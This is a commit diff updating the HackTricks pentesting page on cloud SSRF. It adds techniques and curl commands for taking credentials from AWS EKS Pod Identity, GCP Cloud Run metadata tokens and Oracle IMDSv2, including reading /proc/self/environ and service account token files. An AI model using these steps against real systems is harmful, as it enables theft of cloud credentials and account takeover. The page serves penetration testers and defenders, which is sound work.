Merge pull request #2129 from HackTricks-wiki/research_update_src_pentesting-web_ssrf-server-side-request-forgery_cloud-ssrf_20260414_135858

Research Update Enhanced src/pentesting-web/ssrf-server-side...

Author: carlospolop

src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md

@@ -83,7 +83,7 @@ You can also check public **EC2 security credentials** in: [http://4d0cf09b9b2d7
 
 You can then take **those credentials and use them with the AWS CLI**. This will allow you to do **anything that role has permissions** to do.
 
-To take advantage of the new credentials, you will need to crate a new AWS profile like this one:
+To take advantage of the new credentials, you will need to create a new AWS profile like this one:
 
 ```
 [profilename]
@@ -111,6 +111,27 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
 > [!TIP]
 > Note that in **some cases** you will be able to access the **EC2 metadata instance** from the container (check IMDSv2 TTL limitations mentioned previously). In these scenarios from the container you could access both the container IAM role and the EC2 IAM role.
 
+### SSRF in AWS EKS Pod Identity credentials
+
+Recent EKS clusters can use **Pod Identity** instead of the older ECS-style relative URI flow. In these pods, EKS injects:
+
+- `AWS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentials`
+- `AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token`
+
+Therefore, a SSRF/LFI capable of reading **env vars** or the projected **service account token file** can often recover the pod IAM credentials by querying the local credential endpoint with the authorization token from that file:
+
+```bash
+# Common discovery primitives
+cat /proc/self/environ | tr '\\0' '\\n' | grep '^AWS_CONTAINER_'
+ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/
+
+# Use the projected token to query the local Pod Identity credential endpoint
+AUTH_HEADER=$(cat "$AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE")
+curl -s -H "Authorization: $AUTH_HEADER" "$AWS_CONTAINER_CREDENTIALS_FULL_URI"
+```
+
+This is especially useful in **EKS webhooks**, **templating services**, or **URL fetchers** that run inside pods and expose a SSRF plus a local file read primitive. The response contains temporary AWS credentials that can be reused from the AWS CLI or tooling such as **Pacu**.
+
 ### SSRF for AWS Lambda
 
 In this case the **credentials are stored in env variables**. So, to access them you need to access something like **`file:///proc/self/environ`**.
@@ -119,7 +140,7 @@ The **name** of the **interesting env variables** are:
 
 - `AWS_SESSION_TOKEN`
 - `AWS_SECRET_ACCESS_KEY`
-- `AWS_ACCES_KEY_ID`
+- `AWS_ACCESS_KEY_ID`
 
 Moreover, in addition to IAM credentials, Lambda functions also have **event data that is passed to the function when it is started**. This data is made available to the function via the [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) and could contain **sensitive** **information** (like inside the **stageVariables**). Unlike IAM credentials, this data is accessible over standard SSRF at **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
 
@@ -318,6 +339,23 @@ for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMeta
 done
 ```
 
+### Cloud Run / Cloud Functions 2nd gen
+
+For **Cloud Run** and **2nd generation Cloud Functions** it is usually more interesting to steal not only the OAuth access token, but also an **audience-bound identity token** from the metadata server. This is useful when the compromised workload can reach **private Cloud Run services**, **IAP-protected backends**, or any service validating Google-issued ID tokens.
+
+```bash
+# OAuth access token for the attached service account
+curl -s -H "Metadata-Flavor: Google" \
+  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
+
+# Audience-bound identity token
+curl -s -H "Metadata-Flavor: Google" \
+  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=https://TARGET-REGION-PROJECT.run.app"
+```
+
+> [!TIP]
+> The **`identity`** endpoint requires an **`audience`** parameter. In real engagements this usually means that, after proving SSRF against `token`, you should enumerate internal service URLs and then request a second token with the exact audience expected by the target service.
+
 ## Digital Ocean
 
 > [!WARNING]
@@ -605,12 +643,24 @@ The necessity for a header is not mentioned here either. Metadata is accessible
 
 ## Oracle Cloud
 
-Oracle Cloud provides a series of endpoints for accessing various metadata aspects:
+Oracle Cloud Infrastructure has an **IMDSv2** mode that is much more relevant today than the legacy `/latest/` examples. In IMDSv2:
+
+- Requests go to `http://169.254.169.254/opc/v2/`
+- Requests must include the header `Authorization: Bearer Oracle`
+- Requests carrying `Forwarded`, `X-Forwarded-For`, or `X-Forwarded-Host` are rejected
+- If the instance is configured to only allow IMDSv2, the old `/opc/v1` and `/openstack` paths return `404`
 
-- `http://192.0.0.192/latest/`
-- `http://192.0.0.192/latest/user-data/`
-- `http://192.0.0.192/latest/meta-data/`
-- `http://192.0.0.192/latest/attributes/`
+Interesting endpoints:
+
+```bash
+curl -s -H "Authorization: Bearer Oracle" \
+  http://169.254.169.254/opc/v2/instance/
+
+curl -s -H "Authorization: Bearer Oracle" \
+  http://169.254.169.254/opc/v2/vnics/
+```
+
+So, from an SSRF perspective, OCI now behaves much closer to the hardened cloud metadata services that require a **mandatory header** and explicitly reject common **forwarded-header proxy patterns**.
 
 ## Alibaba
 
@@ -643,6 +693,11 @@ Rancher's metadata can be accessed using:
 
 - `curl http://rancher-metadata/<version>/<path>`
 
-{{#include ../../banners/hacktricks-training.md}}
 
 
+## References
+
+- [AWS SDKs and Tools Reference Guide - Container credential provider](https://docs.aws.amazon.com/sdkref/latest/guide/feature-container-credentials.html)
+- [Oracle Cloud Infrastructure - Instance Metadata Service v2](https://docs.oracle.com/en-us/iaas/Content/Compute/Tasks/gettingmetadata.htm)
+
+{{#include ../../banners/hacktricks-training.md}}